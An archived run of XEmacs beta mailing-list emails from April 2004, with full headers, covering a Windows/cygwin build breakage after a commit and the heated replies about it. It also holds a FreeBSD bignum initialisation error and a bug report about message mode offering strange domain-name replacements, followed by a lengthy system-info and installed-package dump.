X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello, Sorry i was too fast. It links now but crashes with signal 11 later. Best regards Sven From xemacs-beta-admin@xemacs.org Sun Apr 18 09:54:01 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IDs1s03147; Sun, 18 Apr 2004 09:54:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IDrJJ02590 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 09:53:19 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IDrIe02573 for turnbull@tux.org; Sun, 18 Apr 2004 09:53:18 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IDrIs02558 for ; Sun, 18 Apr 2004 09:53:18 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id AAF4434EB8; Sun, 18 Apr 2004 15:53:16 +0200 (CEST) Date: Sun, 18 Apr 2004 15:53:16 +0200 From: Olivier Galibert To: XEmacs Beta List Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Message-ID: <20040418135316.GA73105@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , XEmacs Beta List References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Sun, Apr 18, 2004 at 02:47:26PM +0200, Adrian Aichner wrote: > your commital left at least one cygwin, one native Windows, Don't care about those. Windows people had 4 months to try the patch after I explicitely asked them to. They didn't, their loss. > and one > "definitely not running ms-windows"[1] user dead in the water. Stupid logic error in emacs.c. Sending the patch in and commiting it. OG. From xemacs-beta-admin@xemacs.org Sun Apr 18 10:12:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IEC2s17765; Sun, 18 Apr 2004 10:12:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IEBE417151 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 10:11:14 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IEBCG17127 for turnbull@tux.org; Sun, 18 Apr 2004 10:11:12 -0400 Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IEBCs17115; Sun, 18 Apr 2004 10:11:12 -0400 Received: from the-saint.the-saint.localdomain (pcp06945825pcs.nrockv01.md.comcast.net[69.138.30.56]) by comcast.net (rwcrmhc11) with ESMTP id <2004041814110401300ffdise>; Sun, 18 Apr 2004 14:11:05 +0000 To: Jerry James Cc: XEmacs Beta Subject: Re: Bignums, libmp and FreeBSD From: Kaarthik Sivakumar In-Reply-To: (Jerry James's message of "Mon, 12 Apr 2004 23:13:17 -0500") References: <863c7g4d9t.fsf@comcast.net> <864qrr2q16.fsf@comcast.net> Date: Sun, 18 Apr 2004 10:14:07 -0400 Message-ID: <86n059jrv4.fsf@comcast.net> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (chayote, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>> "JJ" == Jerry James writes: JJ> I'll be happy to look over patches implementing libcrypto bignum JJ> support for FreeBSD. :-) Well, I am trying to get some docs on FreeBSD's bignum stuff, so I can do something there. I am going very slow though, as some personal issues are causing delays. [...] JJ> So pi got initialized to 0, did it? I had this happen with Solaris JJ> MP awhile back, and fixed it, I thought. Have you done a "cvs JJ> update" recently? I just updated and tried. But I get the same thing: Loading float-sup.el... *** Error in XEmacs initialization (arith-error) *** Backtrace really-early-error-handler((arith-error)) /(180.0 0.0) (defconst radians-to-degrees (/ 180.0 pi) "Radian to degree conversion constant") [...] JJ> Hey, if you are looking for such chances, I've got a long list you JJ> can look over. :-) Actually I am interested in something, but I would like to start out with really small things. The next few weeks are going to be a bit too busy and I dont know XEmacs internals well enough for even intermediate level changes. Do you have any small ticket items that are probably small and boring for you but wont require too much from a newbie XEmacs internals guy? Mind numbing variable name changes, maybe?:) kaarthik From xemacs-beta-admin@xemacs.org Sun Apr 18 10:31:42 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IEVcs02703; Sun, 18 Apr 2004 10:31:38 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IETaM00339 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 10:29:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IETZ400322 for turnbull@tux.org; Sun, 18 Apr 2004 10:29:35 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IETYs00303 for ; Sun, 18 Apr 2004 10:29:34 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BFDIb-0002pr-00 for ; Sun, 18 Apr 2004 16:29:33 +0200 Received: from p508d2c3c.dip.t-dialin.net ([80.141.44.60]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 18 Apr 2004 16:29:33 +0200 Received: from sven by p508d2c3c.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 18 Apr 2004 16:29:33 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Date: Sun, 18 Apr 2004 16:26:17 +0200 Lines: 14 Message-ID: References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> <20040418135316.GA73105@dspnet.fr.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d2c3c.dip.t-dialin.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, cygwin32) Cancel-Lock: sha1:9axKGA30lZXH8Xpb8K6QjYZI38Y= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello Olivier, Olivier Galibert writes: > Don't care about those. Windows people had 4 months to try the patch > after I explicitely asked them to. They didn't, their loss. Thank you. I just wanted to do a update/recompile to apply in my own patches. I am pretty new to that list. I don't know how i should try 4 months earlier but some weeks earlier everything was compiling smooth. Best regards Sven Grundmann From xemacs-beta-admin@xemacs.org Sun Apr 18 11:06:08 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IF66s30407; Sun, 18 Apr 2004 11:06:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IF5Gk29810 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 11:05:16 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IF5Fd29789 for turnbull@tux.org; Sun, 18 Apr 2004 11:05:15 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IF5Fs29781 for ; Sun, 18 Apr 2004 11:05:15 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id 935B534DC1; Sun, 18 Apr 2004 17:05:14 +0200 (CEST) Date: Sun, 18 Apr 2004 17:05:14 +0200 From: Olivier Galibert To: xemacs-beta@xemacs.org Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Message-ID: <20040418150514.GA78963@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , xemacs-beta@xemacs.org References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> <20040418135316.GA73105@dspnet.fr.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Sun, Apr 18, 2004 at 04:26:17PM +0200, Sven Grundmann wrote: > Thank you. You're welcome. > I just wanted to do a update/recompile to apply in my own patches. > I am pretty new to that list. I don't know how i should try 4 months earlier > but some weeks earlier everything was compiling smooth. So you're saying all the people reading xemacs-patches on the 7th of december and using windows are gone by now? Impressive turnover you have here. You have to understand something: I don't have windows, either at home or at work, and I don't want it. I'm perfectly ok with being careful not to break the build for windows, in particular by leaving a reasonable time between sending a potentially breaking patch at commiting it and also telling in the post that there is a risk. That requires windows-using people to be minimally reactive. They proved they aren't, so they're not on my radar anymore. OG. From xemacs-beta-admin@xemacs.org Sun Apr 18 13:18:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IHI6s30465; Sun, 18 Apr 2004 13:18:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IHHa029993 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 13:17:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IHHYU29968 for turnbull@tux.org; Sun, 18 Apr 2004 13:17:34 -0400 Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IHHWs29921; Sun, 18 Apr 2004 13:17:32 -0400 Received: from sfwd00.aul.t-online.de by mailout07.sul.t-online.com with smtp id 1BFFv3-0000yP-00; Sun, 18 Apr 2004 19:17:25 +0200 Received: from D5DC120J.t-online.de (EXrKsTZQYeC9xyO6143nyjD4-QH+3oZLpm7XSXHtuPv07LJL1uWLg2@[217.229.9.117]) by afwd00.sul.t-online.com with esmtp id 1BFFv2-1MTJUO0; Sun, 18 Apr 2004 19:17:24 +0200 To: Olivier Galibert , Sven Grundmann Cc: XEmacs Beta List Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> <20040418135316.GA73105@dspnet.fr.eu.org> Organization: The XEmacs Project From: Adrian Aichner Date: Sun, 18 Apr 2004 19:18:32 +0200 In-Reply-To: <20040418135316.GA73105@dspnet.fr.eu.org> (Olivier Galibert's message of "Sun, 18 Apr 2004 15:53:16 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: EXrKsTZQYeC9xyO6143nyjD4-QH+3oZLpm7XSXHtuPv07LJL1uWLg2 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Olivier Galibert writes: > On Sun, Apr 18, 2004 at 02:47:26PM +0200, Adrian Aichner wrote: >> your commital left at least one cygwin, one native Windows, > > Don't care about those. Windows people had 4 months to try the patch > after I explicitely asked them to. They didn't, their loss. Olivier, could you please get back into M-x constructive-mode A friendly reminder before the commit after 4 months of absence could have saved us all some time. Could you please answer my question about the correctness of your patch. With the one correction you commited today, do you think all the ifdef logic in your patch is correct now? Armed with that information I will try to make the native Windows build work again. Could you please look into the issue Sven reported with the cygwin build dying with signal 11? Sven, could you please provide a backtrace or any other information you are getting? Thanks in advance, Adrian > > >> and one >> "definitely not running ms-windows"[1] user dead in the water. > > Stupid logic error in emacs.c. Sending the patch in and commiting it. Thanks for that fix, Olivier. > > OG. > > -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Sun Apr 18 13:51:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IHp3s31203; Sun, 18 Apr 2004 13:51:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IHofd30725 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 13:50:41 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IHocb30659 for turnbull@tux.org; Sun, 18 Apr 2004 13:50:38 -0400 Received: from sccrmhc12.comcast.net (sccrmhc12.comcast.net [204.127.202.56]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IHoMs30412 for ; Sun, 18 Apr 2004 13:50:22 -0400 Received: from the-saint.the-saint.localdomain (pcp06945825pcs.nrockv01.md.comcast.net[69.138.30.56]) by comcast.net (sccrmhc12) with ESMTP id <20040418175021012001dto1e>; Sun, 18 Apr 2004 17:50:21 +0000 To: XEmacs Beta Subject: [Bug: 21.5-b17] sending mails using message mode and spelling From: Kaarthik Sivakumar Date: Sun, 18 Apr 2004 13:53:21 -0400 Message-ID: <8665bxjhpq.fsf@comcast.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ================================================================ Dear Bug Team! Whenever I try to send new mail or reply to a mail, I get the following question from I-dont-know-what: (from lossage) Replace with `idn in free(): warning: junk pointer, too high to make sense comcast.net'? (y or n) Yes Replace with `idn in free(): warning: junk pointer, too high to make sense comcast.net'? (y or n) Fontifying *mail*... Essentially it attempts to replace all domain names in email addresses (for instance xemacs.org, comcast.net, etc) with the above message. This happens when I first create the message mode buffer, through gnus-group-mail, or even M-x report-xemacs-bug. Then it again shows up when I try to send the mail. I havent updated any packages in a long time. Last week, I updated all the FreeBSD packages (not XEmacs packages) on my system and in this process ispell and aspell packages also got updated. I dont know if this is related to that update, but if I run ispell or aspell in an xterm, then they work fine. Anybody seen this or has any idea what to do here? Even how to debug this would be great. I just dont know where to look since I dont know what is causing this question to pop up. Thanks. kaarthik ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: FreeBSD the-saint 5.2-RC2 FreeBSD 5.2-RC2 #0: Sat Mar 13 20:37:02 EST 2004 kaarthik@the-saint:/usr/src/sys/i386/compile/THE-SAINT i386 ./configure '--site-prefixes=/usr/local' '--with-athena=3d' '--with-menubars=lucid' '--with-scrollbars=athena' '--with-dialogs=athena' '--with-widgets=athena' '--with-database=no' '--with-pop' '--with-ldap=no' '--pdump' XEmacs 21.5-b17 "chayote" (+CVS-20040323) configured for `i386-unknown-freebsd5.2'. Compilation Environment and Installation Defaults: Source code location: /usr/home/programs/xemacs/21.5 Installation prefix: /usr/local Additional prefixes: /usr/local Runtime library search path: /usr/local/lib:/usr/X11R6/lib Operating system description file: `s/freebsd.h' Machine description file: `m/intel386.h' Compiler version: gcc (GCC) 3.3.3 [FreeBSD] 20031106 - GCC specs file: specs. - Compiler command: gcc -g -O3 libc version: Relocating allocator for buffers: yes GNU version of malloc: yes Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib - Handling WM_COMMAND properly. Compiling in support for the Athena widget set: - Athena headers location: X11/Xaw3d - Athena library to link: Xaw3d Using Lucid menubars. Using Athena scrollbars. Using Athena dialog boxes. Using Athena native widgets. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Compiling in support for X-Face message headers. Sound: Compiling in support for sound (native). Compiling in support for NAS (network audio system). Databases: Internationalization: Mail: Compiling in support for POP mail retrieval. Compiling in support for "flock" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Using the new portable dumper. Compiling in support for extra debugging code. WARNING: --------------------------------------------------------- WARNING: Compiling in support for runtime error checking. WARNING: XEmacs will run noticeably more slowly as a result. WARNING: Error checking is on by default for XEmacs beta releases. WARNING: --------------------------------------------------------- Load-Path Lisp Shadows: ---------------------- (/home/kaarthik/.xemacs/elisp/hideshow /usr/local/lib/xemacs/xemacs-packages/lisp/c-support/hideshow /home/kaarthik/.xemacs/elisp/align /usr/local/lib/xemacs/xemacs-packages/lisp/edit-utils/align /home/kaarthik/.xemacs/elisp/ps-print/lisp/ps-print /usr/local/lib/xemacs/xemacs-packages/lisp/ps-print/ps-print /home/kaarthik/.xemacs/elisp/ps-print/lisp/ps-mule /usr/local/lib/xemacs/xemacs-packages/lisp/ps-print/ps-mule /home/kaarthik/.xemacs/elisp/ps-print/lisp/ps-bdf /usr/local/lib/xemacs/xemacs-packages/lisp/ps-print/ps-bdf /home/kaarthik/.xemacs/elisp/cparse/sformat /usr/local/lib/xemacs/xemacs-packages/lisp/semantic/sformat /usr/local/lib/xemacs/xemacs-packages/lisp/build/build-report /usr/local/lib/xemacs-21.5-b17/lisp/build-report) Installed XEmacs Packages: ------------------------- ((zenirc:version 1.14 :author-version "2.112" :type regular) (xslt-process :version 1.11 :type regular) (xslide :version 1.09 :author-version "0.2.2" :type regular) (xemacs-devel :version 1 .6 :author-version "No-Upstream-Ver " :type single-file) (xemacs-base :version 1.82 :author-version "No-Upstream-Ver" :type regular) (x-symbol :version 1.07 :author-version "4.5.1" :type regular) (w3 :version 1.29 :author-version "4.0pre47" :type regular) (vm :version 7.18 :author-version "7.17" :type regular) (viper :version 1.37 :author-version "3.09" :type regular) (view-process :version 1.13 :author-version "2.4" :type regular) (vhdl :version 1.18 :author-version "3.31.20" :type regular) (vc-cc :version 1.22 :author-version "No-Upstream-Ver" :type regular) (vc :version 1.38 :author-version "No-Upstream-Ver" :type regular) (tramp :version 1.16 :type regular) (tpu :version 1.14 :author-version "4.2X" :type regular) (tooltalk :version 1.15 :author-version "No-Upstream-Ver" :type regular) (tm :version 1.37 :author-version "No-Upstream-Ver" :type regular) (time :version 1.14 :author-version "1.17" :type regular) (textools :version 1.15 :author-version "No-Upstream-Ver" :type regular) (text-modes :version 1 .71 :author-version "No-Upstream-Ver " :type single-file) (texinfo :version 1.25 :author-version "No-Upstream-Ver" :type regular) (supercite :version 1.2 :author-version "3.55x3" :type regular) (strokes :version 1.1 :author-version "No-Upstream-Ver" :type regular) (speedbar :version 1.27 :author-version "0.14beta4" :type regular) (sounds-wav :version 1.12 :author-version "No-Upstream-Ver" :type regular) (sounds-au :version 1.12 :author-version "No-Upstream-Ver" :type regular) (sml-mode :version 0.1 :author-version "3.9.5" :type regular) (slider :version 1.15 :author-version "0.3x1" :type regular) (sieve :version 1.14 :author-version "No-Upstream-Ver" :type regular) (sh-script :version 1.18 :author-version "2.0e" :type regular) (sgml :version 1.1 :author-version "No-Upstream-Ver" :type regular) (semantic :version 1.18 :author-version "1.4.2" :type regular) (scheme :version 1.14 :author-version "No-Upstream-Ver" :type regular) (sasl :version 1.14 :author-version "1.14.4" :type regular) (ruby-modes :version 1.02 :author-version "1.6.8" :type regular) (rmail :version 1.14 :author-version "No-Upstream-Ver" :type regular) (riece :version 1.12 :author-version "0.1.5" :type regular) (reftex :version 1.33 :author-version "4.21" :type regular) (python-modes :version 1 .03 :author-version "No-Upstream-Ver " :type single-file) (psgml-dtds :version 1.03 :author-version "No-Upstream-Ver" :type regular) (psgml :version 1.41 :type regular) (ps-print :version 1.09 :author-version "6.5.6" :type regular) (prog-modes :version 1 .91 :author-version "No-Upstream-Ver " :type single-file) (pgg :version 1.04 :author-version "0.1" :type regular) (perl-modes :version 1 .05 :author-version "No-Upstream-Ver " :type single-file) (pcomplete :version 1.03 :author-version "1.1.6" :type regular) (pcl-cvs :version 1.65 :author-version "R-2_9_9" :type regular) (pc :version 1.26 :author-version "No-Upstream-Ver" :type single-file) (os-utils :version 1.34 :author-version "No-Upstream-Ver" :type single-file) (oo-browser :version 1.04 :author-version "4.08" :type regular) (ocaml :version 0.05 :author-version "3.06" :type regular) (net-utils :version 1 .33 :author-version "No-Upstream-Ver " :type single-file) (mmm-mode :version 1.01 :author-version "0.4.7" :type regular) (misc-games :version 1 .18 :author-version "No-Upstream-Ver " :type single-file) (mine :version 1.16 :author-version "1.9" :type regular) (mh-e :version 1.27 :author-version "7.4.2" :type regular) (mew :version 1.18 :author-version "1.94.2" :type regular) (mailcrypt :version 2.13 :author-version "3.5.8" :type regular) (mail-lib :version 1.63 :author-version "No-Upstream-Ver" :type regular) (liece :version 1.12 :type regular) (jde :version 1.46 :type regular) (ispell :version 1.26 :author-version "3.3" :type regular) (ilisp :version 1.33 :author-version "5.12.0" :type regular) (igrep :version 1.12 :author-version "2.95" :type regular) (idlwave :version 1.31 :author-version "5.1" :type regular) (ibuffer :version 1.09 :author-version "No-Upstream-Ver" :type regular) (hyperbole :version 1.13 :author-version "4.18" :type regular) (hm--html-menus :version 1.23 :author-version "5.9" :type regular) (haskell-mode :version 1.06 :author-version "1.44" :type regular) (gnus :version 1.73 :type regular) (gnats :version 1.16 :author-version "3.101" :type regular) (games :version 1.15 :author-version "1.04" :type regular) (fsf-compat :version 1 .13 :author-version "No-Upstream-Ver " :type single-file) (frame-icon :version 1.11 :author-version "No-Upstream-Ver" :type regular) (fortran-modes :version 1 .03 :author-version "No-Upstream-Ver " :type single-file) (forms :version 1.15 :author-version "2.37" :type regular) (footnote :version 1.16 :author-version "0.18x" :type regular) (eudc :version 1.39 :author-version "1.32" :type regular) (eterm :version 1.15 :author-version "No-Upstream-Ver" :type regular) (ess :version 1.06 :author-version "5.1.21" :type regular) (eshell :version 1.06 :author-version "2.4.1" :type regular) (emerge :version 1.11 :author-version "No-Upstream-Ver" :type regular) (elib :version 1.11 :author-version "1.0" :type single-file) (eieio :version 1.05 :author-version "0.17" :type regular) (efs :version 1.32 :author-version "1.22" :type regular) (edt :version 1.13 :author-version "No-Upstream-Ver" :type regular) (edit-utils :version 2 .1 :author-version "No-Upstream-Ver " :type single-file) (ediff :version 1.49 :author-version "2.75" :type regular) (edebug :version 1.2 :author-version "No-Upstream-Ver" :type regular) (ecrypto :version 0.14 :author-version "2.0" :type regular) (ecb :version 1.13 :author-version "1.96" :type regular) (docbookide :version 0 .07000000000000001 :author-version "0 .1 " :type regular) (dired :version 1.15 :author-version "7.11" :type regular) (dictionary :version 1.12 :type regular) (debug :version 1.17 :author-version "No-Upstream-Ver" :type regular) (crisp :version 1.14 :author-version "1.34" :type regular) (cookie :version 1.15 :author-version "No-Upstream-Ver" :type regular) (clearcase :version 1.08 :author-version "No-Upstream-Ver" :type regular) (cc-mode :version 1.41 :author-version "5.30.7" :type regular) (calendar :version 1.22 :author-version "No-Upstream-Ver" :type regular) (calc :version 1.24 :author-version "2.02fX3" :type regular) (c-support :version 1 .18 :author-version "No-Upstream-Ver " :type single-file) (build :version 1.14 :author-version "2.02" :type regular) (bbdb :version 1.24 :author-version "2.34" :type regular) (auctex :version 1.35 :type regular) (apel :version 1.27 :author-version "10.2" :type regular) (ada :version 1.14 :author-version "2.27" :type regular)) Installed Modules: ----------------- Features: -------- (xemacsbug shadow outline view-less view align bbdb-gui bbdb-hooks gnus-fun smtpmail supercite regi time-stamp gnus-cite smiley flow-fill gnus-uu annotations sort gnus-async gnus-bcklg gnus-dup gnus-ml mailcrypt disp-table gnus-topic pop3 byte-optimize bytecomp byte-compile nndraft nnmh bbdb-gnus bbdb-snarf mail-extr gnus-agent gnus-srvr gnus-score score-mode nnvirtual gnus-msg gnus-art mm-uu mml2015 pgg pgg-parse pgg-def mm-view gnus-sum gnus-group gnus-undo nntp nnoo nnmail mail-source format-spec gnus-cache gnus-start gnus-spec gnus-int gnus-range message idna mml mml-sec mml-smime smime dig mm-decode mm-bodies mm-encode mailcap lpr mail-parse rfc2045 rfc2231 rfc2047 qp ietf-drums mailheader canlock ibuf-ext ibuffer balloon-help blink-cursor lazy-lock blink-paren make-mode makefile regexp-opt inf-ruby ruby-mode sh-script skeleton executable hide-copyleft eldoc records records-search records-util records-dindex records-index records-vars efs-cu desktop compile browse-kill-ring infobook info twiddle find-func eval-expr ffap facemenu vc-hooks ishl flyspell ispell filladapt pending-del crypt crypt++ gnus-win gnus gnus-ems gnus-xmas messagexmas nnheader nnheaderxm gnus-util netrc time-date parse-time mail-utils mm-util mail-prsvr wid-edit footnote term ehelp electric bufcomp light folding-isearch folding overlay power-macros edmacro advice advice-preload uniquify savehist redo recent-files paren mic-paren timer icomplete func-menu detached-minibuf backup-dir gdb debug-toolbar shell comint ring cal-desk-calendar lunar solar cal-dst cal-persia cal-julian diary-lib calendar xcscope ctypes font-lock xemacs-font-lock-fix cus-face bbdb-w3 browse-url bbdb-com mail-abbrevs sendmail rfc822 bbdb timezone tex-toolbar tex-site mwheel gnuserv zenirc-autoloads xslt-process-autoloads xslide-autoloads xemacs-devel-autoloads xemacs-base-autoloads x-symbol-autoloads w3-autoloads vm-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads sml-mode-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads rmail-autoloads riece-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads oo-browser-autoloads ocaml-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mine-autoloads mh-e-autoloads mew-autoloads mailcrypt-autoloads mail-lib-autoloads liece-autoloads jde-autoloads ispell-autoloads ilisp-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hyperbole-autoloads hm--html-menus-autoloads haskell-mode-autoloads gnus-autoloads gnats-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads fortran-modes-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads ess-autoloads eshell-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads 